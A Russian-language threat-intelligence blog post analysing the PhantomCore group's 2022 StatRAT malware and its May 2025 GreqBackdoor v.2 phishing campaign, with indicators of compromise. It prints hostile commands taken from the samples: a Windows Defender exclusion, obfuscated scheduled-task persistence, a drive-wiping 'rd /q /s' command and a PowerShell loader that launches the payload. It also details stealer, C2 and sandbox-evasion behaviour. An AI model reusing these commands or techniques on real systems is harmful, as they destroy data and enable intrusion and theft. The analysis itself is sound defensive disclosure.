Вернуться назад

Отпечатки прошлого: F6 исследовала новые и ранее неизвестные активности группы PhantomCore

Специалисты F6 выяснили, как менялись инструменты и цели атак PhantomCore: если вначале это были кража, повреждение и уничтожение данных, то к 2024 году фокус сместился на шифрование инфраструктур жертв и получение финансовой выгоды.

Отпечатки прошлого: F6 исследовала новые и ранее неизвестные активности группы PhantomCore

PhantomCore — группа, атакующая российские и белорусские компании, впервые обнаруженная специалистами F6 в 2024 году. Позднее мы выяснили, что самые ранние атаки можно отследить вплоть до 2022 года, тогда целью атакующих была кража, повреждение и уничтожение данных, в то время как в 2024 году мы наблюдали переход к шифрованию инфраструктур жертв и получению финансовой выгоды. Отличительная черта PhantomCore — использование вредоносного программного обеспечения (ВПО) собственной разработки. Причём, судя по количеству таких самописных программ, а также по количеству атак, команда разработчиков этой киберпреступной группы постоянно ищет новые решения, совершенствует свои инструменты и внимательно следит за новыми уязвимостями.

23 мая 2025 года в Москве на международном киберфестивале Positive Hack Days департамент киберразведки (Threat Intelligence) компании F6 представил доклад об активности группы PhantomCore. Часть доклада была посвящена активности, датируемой 2022 годом, которую мы связали с деятельностью группы PhantomCore. В новом блоге мы расскажем об этой активности детальнее, а также представим анализ обновленной версии вредоносной программы, получившей название PhantomeCore.GreqBackdoor v.2, которая использовалась в атаках группы в мае 2025 года.

Активность группы PhantomCore в 2022 году

Весной 2024 года специалисты F6 Threat Intelligence обнаружили семпл PhantomRAT EventManager.exe (SHA1: 1b0c9953b2aff3fcbd863555a8946a1923e002c1), в конфигурации которого в качестве C2-серверов были указаны два домена:

  • wheelprom[.]ru
  • ugroteches[.]ru

Эти домены были связаны между собой уникальным идентификатором владельца домена.

Рисунок 1. Графовый анализ инфраструктуры PhantomCore в системе F6 Threat Intelligence
Рисунок 1. Графовый анализ инфраструктуры PhantomCore в системе F6 Threat Intelligence

Графовый анализ показал, что с этим же идентификатором связан ещё ряд доменов. Часть из них упоминалась в одном из предыдущих блогов:

  • sdufho[.]ru — C2 для PhantomRAT v.2 splwow.exe (MD5: 16f97ec7e116fe3272709927ab07844e), май 2024;
  • jaudyoyh[.]ru — C2 для PhantomRAT v.2 splwow.exe (MD5: 16f97ec7e116fe3272709927ab07844e), май 2024;
  • sauselid[.]ru — C2 для  PhantomDL v.3 Счет-Фактура.pdf .exe (MD5: 8c9617ddc6d371264a7026777e3cdcc9), июль 2024;
  • linualsut[.]ru — С2 для Sliver SECRET_OXYGEN.exe (MD5: 08d40cc89db9fc3423c299bca7639690), сентябрь 2024;
  • supportsecure[.]ru — связанных семплов выявлено не было.

Несмотря на то, что с доменом supportsecure[.]ru не было обнаружено связанных файлов, мы предполагаем, что он был зарегистрирован группой PhantomCore и мог использоваться ей. В этой связи мы решили изучить домен детальнее. Это позволило выявить созвучный домен supportsecurity[.]ru. Обнаруженный домен имел схожие регистрационные данные, а время регистрации совпадало с разницей в 15 минут со временем регистрации домена supportsecure[.]ru.

Принимая во внимание нашу гипотезу о том, что supportsecurity[.]ru и supportsecure[.]ru зарегистрированы одной группировкой, а домен supportsecure[.]ru ранее мы связали с группой PhantomCore, можно предположить, что домены, связанные идентификатором с доменом supportsecurity[.]ru, также должны принадлежать этой группировке.

Рисунок 4. Графовый анализ доменов, связанных с доменом supportsecurity[.]ru уникальным идентификатором, в системе F6 Threat Intelligence
Рисунок 4. Графовый анализ доменов, связанных с доменом supportsecurity[.]ru уникальным идентификатором, в системе F6 Threat Intelligence

Среди этих доменов:

  • updatesioa[.]ru — создан  2024-03-26T17:45:08;
  • updatecanonical[.]ru — создан 2023-11-08T13:00:09;
  • rawgithubcontent[.]ru — создан  2024-04-02T11:30:08;
  • syncpulse[.]ru — создан 2024-04-02T11:30:10, A-запись: 185.130.251[.]54 — этот ip использовался в качестве С2 для ВПО PhantomCore.KscDL;
  • airgrupdate[.]ru — создан 2024-03-05T14:30:08;
  • mastersync[.]ru -  создан 2024-04-02T11:30:12;
  • updateapi[.]ru — создан  2024-04-02T11:30:14, A-запись: 195.133.32[.]194 — использовался в атаке PhantomCore в феврале 2025 года;
  • update54[.]ru — создан 2023-11-27T10:15:09;
  • officesync[.]ru — создан 2024-04-02T11:45:08.

Помимо указанных выше мы обнаружили еще несколько доменов, зарегистрированных с использованием тех же регистрационных данных, которые выбивались из списка датой регистрации и наименованием:

  • rzdoffice[.]ru — создан 2022-03-04T11:20:05Z;
  • 5kai[.]ru — создан 2022-06-13T06:50:06Z;
  • russiasnews[.]ru — создан 2022-06-13T06:20:05Z;
  • stat-dashgd[.]ru - создан 2022-03-06T10:50:06Z.

Указанные домены были зарегистрированы с марта по июнь 2022 года, что выглядело как ложноположительные результаты: ведь мы полагали, что группа PhantomCore начала действовать в 2024 году. Однако мы решили дополнительно исследовать и эти домены, чтобы подтвердить или опровергнуть первоначальную теорию. По первым трем доменам каких-то подозрительных связей не удалось выявить. Зато последний домен stat-dashgd[.]ru оказался примечательным. На платформе VirusTotal мы обнаружили 4 файла, связанные с этим доменом:

  • VALIDATOR.msi (MD5: 57384d60dab044887d741150fe03fa52)
  • VALIDATOR.msi (MD5: d7185eae76afdd78f8cadaf81dd88ba1)
  • Helper7.exe (MD5: a18f173d63df0ed0677182a747f81c52)
  • Morok.exe(MD5: a15a559d3a3324afedeff4d17547cfea)
Рисунок 5. Список файлов, связанных с доменом stat-dashgd[.]ru, по данным платформы VirusTotal
Рисунок 5. Список файлов, связанных с доменом stat-dashgd[.]ru, по данным платформы VirusTotal

Цепочка атаки из 2022 года

Как оказалось, выявленные файлы связаны и образуют следующую цепочку атаки: дроппер (VALIDATOR.msi)->исполняемый файл-приманка->StatRAT. Ниже приводим анализ обнаруженных файлов на примере разбора одного из образцов VALIDATOR.msi.

Файл VALIDATOR.msi

Файл VALIDATOR.msi (MD5: 57384d60dab044887d741150fe03fa52) представляет собой установщик формата MSI, который классифицирован нами как дроппер. Он извлекает и запускает 2 исполняемых файла:

  • Helper10.exe (MD5: a15a559d3a3324afedeff4d17547cfea) – исполняемый файл — ВПО StatRAT;
  • Success10.exe (MD5: cd3440cf9f20faa30a743d8408eb9217) — исполняемый файл-приманка.

Исполняемый файл-приманка

Файл Success10.exe после запуска отображает окна, мимикрирующие под якобы легитимное ПО Валидатор 1.0, выполняющее проверку сети для соответствия определенному федеральному закону. После взаимодействия пользователя с файлом и запуска «проверки» отобразится анимация загрузки и окно с сообщением о том, что проверка прошла успешно.

ВПО StatRAT

Исследуемый файл Helper10.exe является исполняемым файлом, основанным на .NET и классифицированным нами как троян удаленного доступа StatRAT. Это ВПО, помимо обработки различных команд от сервера, имеет модуль стилера, а также функциональные возможности для вайпа (повреждения и уничтожения) файлов в зараженной системе.

Инициализация

После запуска StatRAT создает две задачи таймера с периодом повторения 3 секунды, где первая задача — модуль, позволяющий обрабатывать команды от сервера, а вторая задача выполняет запрос к серверу для информирования о том, что ВПО активно.

После создания задач StatRAT генерирует уникальный идентификатор бота по шаблону id[A-Za-z0-9]{25} и последовательно выполняет следующие действия:

  • создает скрытую директорию с именем, содержащимся внутри файла (в исследуемом образце путь к директории — %APPDATA%\ActiveConfig);
  • копирует себя в созданную директорию с именем, которое также расположено внутри файла (в исследуемом образце — UpdaterDefender.exe);
  • в этой же директории создает и запускает PowerShell-сценарий с именем 123.ps1 для обхода контроля учетных записей пользователя, реализация совпадает с описанной в статье;
  • выполняет проверку выполнения в режиме отладки или в песочнице: - проверка наличия процесса SbieCtrl и модуля SbieDll.dll, - проверка наличия RDP-подключения, - проверка модели и производителя системы по строго заданному набору наименований;
  • проверяет наличие файла upd.txt в созданной директории, если он существует, то читает содержимое, устанавливает значение как уникальный идентификатор бота и удаляет этот файл;
  • проверяет наличие файла Mconfig.txt в созданной директории, если он существует, то читает его содержимое, устанавливает значение как уникальный идентификатор бота, а также читает путь к директории, которую нужно удалить, затем удаляет и сам файл Mconfig.txt (вероятно, файл используется для очистки временных файлов, созданных трояном);
  • отправляет на C2-сервер запрос с информацией о зараженной системе: имя системы и пользователя, внешний IP-адрес, полученный через curl-запрос к домену ifconfig.io, значение кампании, флаг получения прав администратора;
  • если файл был запущен с правами администратора, то выполнит следующие действия: - создает новую директорию по файловому пути C:\Windows\System32\config\systemprofile\AppData\Roaming с именем, расположенным в файле (в исследуемом образце — ActiveConfig) и копирует свой файл в эту директорию; - создает файл Mconfig.txt и записывает туда уникальный идентификатор бота, а также прошлую директорию для ее последующего удаления; - добавляет свой исполняемый файл в список исключений антивируса Windows Defender с помощью PowerShell команды:
 powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath {filepath}; 
  • закрепляется в системе путем создания задачи в планировщике задач Windows (подробнее — в разделе «Закрепление в системе»);
  • запускает модуль стилера (подробнее в блоке «Модуль стилера»);
  • выдает полные права текущему процессу и устанавливает его как критический, таким образом, при его завершении будет остановлена работа системы;
  • удаляет и создает запланированную задачу, которая после своего триггера с ожиданием 10 минут выполнит команду для удаления содержимого директории C:\Users\ и логических дисков D, E, F, G (подробнее в блоке «Вайп системы»):
 cmd.exe /C rd /q /s C:\\Users\\ D:\\ E:\\ F:\\ G:\ 
  • включает задачи таймера, описанные в начале раздела «Инициализация».

Закрепление в системе

Для закрепления в системе StatRAT создает задачу в планировщике задач Windows. При этом блок кода и алгоритм создания задачи практически аналогичен закреплению в системе PhantomCore.Downloader, который мы описывали в первом блоге о данной группе.

Рисунок 8. Участок кода ВПО StatRAT, отвечающий за закрепление в системе жертвы
Рисунок 8. Участок кода ВПО StatRAT, отвечающий за закрепление в системе жертвы

ВПО StatRAT создает файл Tsk.xml по шаблону, который модерируется параметрами:

  • название задачи;
  • запускаемый файл;
  • аргументы запуска;
  • временной промежуток до запуска после триггера;
  • модификатор наличия прав администратора для выбора варианта триггера: BootTrigger (при наличии прав) и LogonTrigger.

Далее будет выполнена cmd.exe команда для создания запланированной задачи:

 s\"ch\"ta\"s\"ks -cr\"ea\"t\"e\" -t\"n\" Mic\"ros\"oftSt\"ati\"sticCore /X\"M\"L {filepath}\Tsk.xml. 

Затем файл Tsk.xml будет удален.

Параметры запланированной задачи:

Name MicrosoftStatisticCore
Author Microsoft Corporation
Action pcalua.exe -a %APPDATA%\{contained_directory}\{contained_filename}.exe

Вайп системы

В конце инициализации исследуемый образец ВПО StatRAT сначала удаляет и после создает задачу в планировщике задач Windows, которая выполняет cmd.exe команду:

 rd /q /s C:\\Users\\ D:\\ E:\\ F:\\ G:\\. 

Команда «rd» используется для удаления директорий из файловой системы.

Рисунок 9. Участок кода ВПО StatRAT, отвечающий за вайп системы жертвы
Рисунок 9. Участок кода ВПО StatRAT, отвечающий за вайп системы жертвы

Параметры запланированной задачи:

Name MicrosoftUpdateStatisticCore
Author Microsoft Corporation
Action cmd.exe /C rd /q /s C:\\Users\\ D:\\ E:\\ F:\\ G:\\
Delay PT10M

На этом этапе анализа возникает два вопроса:

  • для чего модуль сначала удаляет задачу, а затем пересоздает ее?
  • для чего используется 10 минут ожидания перед выполнением?

Эти действия нужны для того, чтобы удаление директорий и дисков выполнялось только в случае, если не произошло запуска ВПО (например, удален файл или задача для его закрепления). Если же файл будет запускаться, то каждый раз до выполнения команды удаления директорий будет успевать пересоздаваться задача, а следовательно, удаления не будет происходить.

Модуль стилера

Модуль стилера используется для кражи из зараженной системы следующей информации:

  • скриншот экрана;
  • данные из браузера: история, закладки, данные авторизации и др.;
  • данные из FTP-клиента FileZilla.

Собираемые данные сохраняются в директорию с именем info, которая располагается в ранее созданной директории. После того как все данные будут собраны, создается архив Upl.zip, содержащий данные из директории info. Этот архив выгружается на C2-сервер, а затем директория info и архив Upl.zip удаляются из зараженной системы.

Модуль RAT

Модуль RAT является задачей таймера, запускаемой каждые 3 секунды. Он реализован для обработки и выполнения различных команд. Каждые 40 срабатываний при запуске модуль выполняет два запроса к каждому расположенному в файле C2-адресу, где первый запрос содержит информацию о зараженной системе, а второй запрос используется для получения команды от сервера. Если содержимое ответа на второй вопрос не является пустым, данный C2-адрес становится основным и будет использоваться для всех других запросов.

В обычном случае после запуска модуля будет выполнен запрос к активному C2-адресу для получения команды, которая будет обработана на стороне ВПО. Ниже представлена таблица, которая содержит имена команд и их описания.

Название команды Описание
console Выполняет произвольную команду в интерпретаторе команд Windows. Для этого запрашивает у сервера команду, выполняет ее и отправляет вывод на C2-адрес.
update Обновляет версию ВПО. Для этого запрашивает у сервера имя файла, выполняет загрузку самого файла и записывает его на систему. После чего удаляет запланированную задачу для закрепления в системе и создает новую.
webcamera Создает скрин камеры, сохраняет его в файл web.jpg и отправляет на С2, после чего удаляет файл.
download Выполняет загрузку файла на зараженную систему. Для этого запрашивает у сервера имя файла, выполняет его загрузку и сохраняет в системе.
closeapp Завершает работу собственного процесса, предварительно выполняя запрос на сервер с информацией о том, что процесс завершен.
upload Выгружает произвольный файл на C2-сервер. Для этого запрашивает путь к файлу, который необходимо отправить на сервер, после чего выгружает его.
cdopen Открывает дверцу привода CD, используя MCI-команду: set cdaudio door open.
cdclose Закрывает дверцу привода CD, используя MCI-команду: set cdaudio door closed.
usb Включает стилер данных с флеш-накопителей. Копирует файлы с расширениями .dst, .ovpn, .txt, .doc, .docx, .pdf, .xls, .xlsx, .csv, .jpg, .jpeg, .png при подключении флеш-накопителей в директорию archive, после чего отправляет на С2-адрес в виде архива со случайным именем, соответствующим шаблону [0-9]{5}.zip. Далее удаляет директорию archive.
screen Сохраняет скриншот экрана в файл с именем filename.bmp, после чего отправляет его на С2-адрес и удаляет файл.
sleep Переходит в режим простоя на указанное количество минут. Для этого запрашивает у C2-сервера количество минут, которое ВПО будет в простое. Также передает C2-серверу информацию о входе и выходе из режима ожидания.
null Выполняет сброс счетчика запросов.
listing Запускает произвольный файл с возможностью предоставления оболочки ввода и вывода на C2-сервер. Каждые 3 секунды опрашивает сервер для получения дополнительной строки ввода. Для выхода из цикла должна быть получена строка «exit_all».
zip Выгружает файл или директорию, предварительно архивируя в архив с именем rm.zip.
boxmes Отображает диалоговое окно с указанным текстом.
destroy Выполняет вайп файлов на логических дисках путем зануления содержимого файлов. Для этого запрашивает у сервера путь к директории/диску и в случае получения выполняет вайп файлов в этой директории/диске. Если ответ от сервера содержит «null», то перечисляет все логические диски системы и выполняет вайп содержащихся в них файлов.

Сетевое взаимодействие

Вредоносное ПО StatRAT взаимодействует с C2-сервером с использованием HTTP-протокола. Найденные образцы содержали наборы C2-адресов, проверка активности которых и смена в случае недоступности выполнялась в RAT-модуле. Исследуемый образец содержит C2-адреса:

  • hxxps://stat-dashgd[.]ru/,
  • hxxps://24windows[.]ru/,
  • hxxps://bazartop[.]ru/.

Ниже представлена таблица, содержащая шаблон URL-ссылки и описание ее назначения.

Адрес Назначение
https://{c2_domain}/main-stat/statistics.php Используется для отправки отладочной информации (ошибки, статус завершения операций), получения команд.
https://{c2_domain}/main-stat/test-connect.php Используется для отправки сообщений о том, что ВПО активно на зараженной системе, по таймеру каждые 3 секунды.
https://{c2_domain}/main-stat/visiting-log.php Используется для выгрузки файлов на С2.
https://{c2_domain}/main-stat/visiting-downloads/ Используется для загрузки файлов на зараженную систему.

Дополнительный анализ

Нашим специалистам удалось найти еще один образец StatRAT, который отличался от проанализированного выше. В отличии от него данный образец StatRAT при обнаружении песочницы или изолированной среды выполняет следующие действия:

  • выполняет запрос на C2-сервер с информацией о зараженной системе;
  • создает скриншот экрана, сохраняет в файл с именем filename.bmp, отправляет на C2-сервер и удаляет файл;
  • выдает полные права текущему процессу и устанавливает его как критический, таким образом, при его завершении будет остановлена работа системы;
  • создает запланированную задачу для выполнения вайпа системы командой «rd» с отложенным триггером в 1 минуту;
  • вызывает функцию вайпа логических дисков, однако аргументом функции передается пустая строка, что приводит к ошибке;
  • завершает процесс, так как данный процесс — критический, то это приводит к остановке работы системы, а последующий перезапуск приведет к срабатыванию задачи с командой rd для удаления директорий.

Ниже приводим сравнение этих двух семплов.

Тип изменений Helper10.exe/Morok.exe/UpdaterDefender.exe  (MD5: a15a559d3a3324afedeff4d17547cfea) DefenderProccess.exe/Helper.exe/MorokX.exe  (MD5: 4e167675c52ee7428bf0ba90f59b1a8f)
С2 hxxps://stat-dashgd[.]ru, hxxps://24windows[.]ru, hxxps://bazartop[.]ru hxxps://24windows[.]ru, hxxps://bazartop[.]ru
Type (предположительно, ID кампании) 300671 496429
Путь к каталогу приложения %AppData%\ActiveConfig\ %AppData%\DefenderConfig\
Путь к файлу семпла %AppData%\ActiveConfig\UpdaterDefender.exe %AppData%\DefenderConfig\DefenderProccess.exe
Cписок расширений для перехвата с флеш-накопителей ".dst", ".ovpn", ".txt", ".doc", ".docx", ".pdf", ".xls", ".xlsx", ".csv", ".jpg", ".jpeg", ".png" ".rez", ".ask", ".dst", ".ovpn", ".txt", ".doc", ".docx", ".pdf", ".xls", ".xlsx", ".csv", ".jpg", ".jpeg", ".png"
Функция выявления процессов-мониторов - wireshark, tcpview, filemon, regmon, procmon, netmon, procexp
Функция обнаружения смены имени файла - Определяет, отличается ли имя процесса от двух возможных (в данном случае Helper и DefenderProccess)
Сбор данных о сетевых интерфейсах системы - arp -a > {folder_path}\info\ip_conf.txt && ipconfig /all >> {folder_path}\info\ip_conf.txt
Команда "wave" - Данная команда устанавливает параметр, отвечающий за обновленную логику ВПО. Если C2-адрес был изменен более 4 раз, и данный параметр установлен в true, будет выполнен набор действий, приводящий к вайпу системы, который описан выше.

Анализ доменов, используемых в качестве C2, позволил выявить еще некоторую связанную инфраструктуру. Оказалось, что домены 24windows[.]ru и bazartop[.]ru связаны уникальным идентификатором владельца домена, а также с ними связан домен java-stat[.]ru. Других ассоциированных семплов обнаружено не было.

Рисунок 10. Графовый анализ доменов группы PhantomCore в системе F6 Threat Intelligence
Рисунок 10. Графовый анализ доменов группы PhantomCore в системе F6 Threat Intelligence

Подводя итог этой части исследования, можно сказать, что нам удалось выявить вероятную инфраструктуру группы PhantomCore, датируемую 2022 годом и связанные с ней образцы вредоносной программы, которой мы присвоили имя StatRAT.

Активность группы PhamtomCore в мае 2025

Группа PhantomCore продолжает развивать свои инструменты и переписывать их на различные языки программирования. Так, 5 мая 2025 года с помощью решения F6 Business Email Protection были обнаружены и заблокированы вредоносные рассылки, которые были атрибутированы группе PhantomCore.

Письма с темой «Документы на рассмотрение (повторно)» были отправлены с трех различных доменов, которые, вероятно, были скомпрометированы. Среди получателей — организации из сфер промышленности, энергетики, ЖКХ. Примеры писем представлены ниже.

Письма содержат вложенный исполняемый файл в виде архива с именем Документы_на_рассмотрение.zip, всего было обнаружено два варианта:

  • MD5: 55b31d3ae389473e6aee7a9a41e21bd2,
  • MD5: e3493bced3a25d0bf61980cb797afca5.

Во втором случае архив защищен паролем «2025», который указан в теле письма. Сам исполняемый файл в оверлее содержит ZIP-архив, что при двойном клике приведет к его запуску, а не к исполнению файла. Подобная техника уже использовалась группой PhantomCore в атаках ранее, однако в прошлых атаках они доставляли ZIP-архив, который содержал LNK-файл и исполняемый файл с расширением .zip. В новой атаке они отказались от дополнительной архивации: вместо этого сразу прислали исполняемый файл с ZIP-архивом в оверлее. Файл с именем Документы_на_рассмотрение.zip, который распространяется в виде вложения в письме, имеет следующую структуру:

Рисунок 13. Структура архива Документы_на_рассмотрение.zip
Рисунок 13. Структура архива Документы_на_рассмотрение.zip

В качестве приманки используется файл Сопроводительное_письмо.pdf, имеющий следующее содержимое:

Рисунок 14. Содержимое файла-приманки Сопроводительное_письмо.pdf
Рисунок 14. Содержимое файла-приманки Сопроводительное_письмо.pdf

Если пользователь запустит LNK-файл, будет запущена PDF-приманка и исполняемый файл, который был классифицирован нами как обновленная версия ВПО группы PhantomCore, получившая название PhantomeCore.GreqBackdoor v.2. В качестве C2 используется: 195[.]58[.]54[.]39:80.

Первоначальный вектор атаки

Рассмотрим цепочку атаки детальнее. В связи с тем, что файл распространяется с расширением .zip, он по умолчанию будет открываться на конечной системе с помощью архиватора, который отвечает за запуск файлов с указанным расширением. Таким образом, для пользователя будет открываться ZIP-архив, который расположен в оверлее исполняемого файла. После того, как пользователь запустит LNK-файл, расположенный в ZIP-архиве, будет выполнена PowerShell команда:

 powershell.exe -WindowStyle hidden -c "$r=$(Get-Location).Path + '\Документы_на_рассмотрение[.]zip';if(Test-Path $r) { cmd.exe /c start /B $r; } else { $f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter 'Документы_на_рассмотрение[.]zip' | Select-Object -First 1); if($f) { $r=$f.FullName; cmd.exe /c start /B $f.FullName; }; };if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter "Документы_на_рассмотрение[.]zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes([System.IO.Path]::Combine('%temp%', 'Договор_23702_05_05_2025.pdf'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 4214784 -First 177703)); Start-Process -FilePath $([System.IO.Path]::Combine('%temp%', 'Договор_23702_05_05_2025.pdf')); 

Эта PowerShell-команда выполняет следующие задачи:

  • проверяет наличие файла Документы_на_рассмотрение.zip в текущей директории и, если файл найден, запускает его через команду:
 cmd.exe /c start /B {filepath}; 
  • если файл не найден, перебирает файлы директории %USERPROFILE% и ее поддиректории с целью поиска файла Документы_на_рассмотрение.zip; если файл найден, то выполняет его описанным выше способом;
  • выполняет поиск файла Документы_на_рассмотрение.zip в %TEMP% директории. После того как файл найден, читает его и выполняет запись файла Договор_23702_05_05_2025.pdf, данные для записываемого файла расположены в найденном по смещению 0x405000 байт и длиной — 177703 байт. По данному смещению в файле Документы_на_рассмотрение.zip располагается PDF-файл, аналогичный тому, который расположен в ZIP-архиве с именем Сопроводительное_письмо.pdf. После того как файл был записан в систему, он будет запущен командой:
 Start-Process -FilePath %TEMP%\Договор_23702_05_05_2025.pdf 

Таким образом будет запущен исполняемый файл и PDF-приманка.

PhantomeCore.GreqBackdoor v.2

Исполняемый файл упакован с помощью инструмента UPX и написан на языке Golang без использования обфускации. Данный файл был классифицирован нами как новая версия бэкдора — PhantomeCore.GreqBackdoor v.2.

Файлы Документы_на_рассмотрение.zip (MD5: 55b31d3ae389473e6aee7a9a41e21bd2 и MD5: e3493bced3a25d0bf61980cb797afca5) идентичны до оверлея, поэтому далее будет рассматриваться первый из них. Исполняемый файл выполняет следующие действия:

  • проверяет, не выполняется ли отладка текущего процесса функцией IsDebuggerPresent;
  • проверяет, не запущен ли файл в виртуальном окружении с помощью чтения ключа реестра SYSTEM\ControlSet001\Services\Disk\DriverDesc и сравнения результата со значением vmware;
  • если обнаружил отладку или запуск в виртуальном окружении, то засыпает на 10 секунд.

Затем он собирает телеметрию с ПК. Она содержит следующие данные:

  • имя ПК;
  • имя пользователя;
  • локальный IP;
  • внешний IP, получает его при помощи запроса на внешний ресурс hxxps://ident[.]me;
  • версия и битность операционной системы;
  • ID бота, генерируется рандомно при первом запуске функцией uuid.NewRandom;
  • добавляет захардкоженую строку MAIL, вероятно, название кампании.

ВПО взаимодействует с сервером через HTTP-протокол, при коммуникации используется User-Agent: Go-http-client/1.1

С2-адрес: 195[.]58[.]54[.]39:80

При взаимодействии с сервером используются следующие Gateway-пути:

  • /connect — первичное подключение,
  • /init — запрос с информацией о зараженной системе,
  • /check — периодический запрос перед выполнением запроса для получения команд,
  • /command — запрос для получения команды от сервера,
  • /out.

При выполнении запроса /init на сервер будет отправлен JSON-объект вида:

 {
    "domain": "%USERDOMAIN%",
    "host": "%PCNAME%",
    "id": "{RANDOM_UUID}",
    "local_ip": "{local_ip}",
    "name": "MAIL",
    "os": "windows amd64",
    "public_ip": "{external_ip}",
    "pulse": 60,
    "user": "%USERNAME%" 
} 

На запрос команды от С2 имплант получает JSON-объект типа задача. Он имеет следующий вид:

 {
  "Uuid": {uuid},
  "AgentId": {agent_id},
  "Command": "{command}",
  "Response": {response},
  "OperatorId": {operator_id},
  "Done": false|true
} 

В зависимости от отправленного С2-сервером значения поля Command выполняется обработка одной из следующих команд:

Команда Значение
up Извлекает URL из аргумента команды, загружает файл с полученного URL, сохраняет его в директорию C:\ProgramData\
ex Выполняет смену текущих директорий, а также выполняет произвольные команды в интерпретаторе команд Windows. Существует три варианта обработки команды:
  • если была получена команда "cd ..", то текущей директорией будет установлена родительская директория;
  • если шаблон команды "cd {filepath}", то указанный путь будет установлен как текущая директория;
  • если команда не соответствует шаблонам из пунктов 1 и 2, будет выполнена команда cmd /s /c "echo %command% | cmd", результат команды будет отправлен на C2.
st Запускает указанный файл

После выполнения каждой команды будет выполнен POST-запрос на C2-сервер с gateway /out, который будет содержать такой же шаблон JSON-объекта, какой был получен от сервера при получении команды. В поле «Response» будет добавлен результат команды, а в поле «Done» будет установлено значение True.

Заключение

В ходе исследования нам удалось установить, что активность группы PhantomCore можно отследить вплоть до 2022 года. В то время использовалось ВПО, классифицируемое нами как StatRAT, также поддерживающее функции стилера и вайпера. Выбор такого типа ВПО мог быть обусловлен геополитической ситуацией. Первые атаки группы были направлены на кражу и вайп данных, в то время как с 2024 года наблюдаем переход к шифрованию инфраструктур жертв и получению финансовой выгоды.

Мы продолжаем следить за эволюцией группировки PhantomCore и их постоянным изменением инструментария. В мае 2025 года мы выявили обновленную версию PhantomeCore.GreqBackdoor v.2, используемую группой в рассылках в адрес организаций из сфер промышленности, энергетики и ЖКХ. Мы полагаем, что группа и дальше продолжит развивать свое ВПО, чтобы пытаться минимизировать вероятность обнаружения.

Индикаторы компрометации (IOCs)

2022

hXXps://stat-dashgd[.]ru/main-stat/test-connect.php

hXXps://stat-dashgd[.]ru/main-stat/visiting-downloads

hXXps://stat-dashgd[.]ru/main-stat/visiting-log.php

hXXps://stat-dashgd[.]ru/main-stat/statistics.php

stat-dashgd[.]ru

24windows[.]ru

bazartop[.]ru

java-stat[.]ru

VALIDATOR.msi — MD5: 57384d60dab044887d741150fe03fa52

VALIDATOR.msi — MD5: 5f8b1dbc51da577d606bcabd42e40876

VALIDATOR.msi — MD5: d7185eae76afdd78f8cadaf81dd88ba1

VALIDATOR.msi — MD5: 1bca485be5a9d976dea5cb372859f30b

DefenderProccess.exe/Helper.exe — MD5: 225a32915439dd0056520093b68a0704

Helper7.exe/MorokX.exe/UpdateDefender.exe — MD5: a18f173d63df0ed0677182a747f81c52

DefenderProccess.exe/Helper.exe/MorokX.exe — MD5: 4e167675c52ee7428bf0ba90f59b1a8f

Helper10.exe/Morok.exe/UpdaterDefender.exe — MD5:a15a559d3a3324afedeff4d17547cfea

Success.exe/Success7.exe — MD5: 6bb56e264b343c4b81ea1c99769f4905

Success10.exe — MD5: cd3440cf9f20faa30a743d8408eb9217

2024-2025

supportsecure[.]ru

supportsecurity[.]ru

updatesioa[.]ru

updatecanonical[.]ru

rawgithubcontent[.]ru

syncpulse[.]ru

airgrupdate[.]ru

mastersync[.]ru

updateapi[.]ru

195.133.32[.]194

update54[.]ru

officesync[.]ru

hXXp://195.58.54[.]39:80/command

hXXp://195.58.54[.]39:80/init

hXXp://195.58.54[.]39:80/check

hXXp://195.58.54[.]39:80/connect

195.58.54[.]39

Документы_на_рассмотрение.zip — MD5: e3493bced3a25d0bf61980cb797afca5

Документы_на_рассмотрение.zip — MD5: 55b31d3ae389473e6aee7a9a41e21bd2

Договор_23702_05_05_2025.pdf.lnk — MD5: 6b674a4a15a44f730094081a5d226f91

MD5: a0846758c1852d141f657dd6a01adcce

MD5: 43651c96ed10637b5c0e454c32e4809a

MD5: 5437e08743347bca0430689341198e57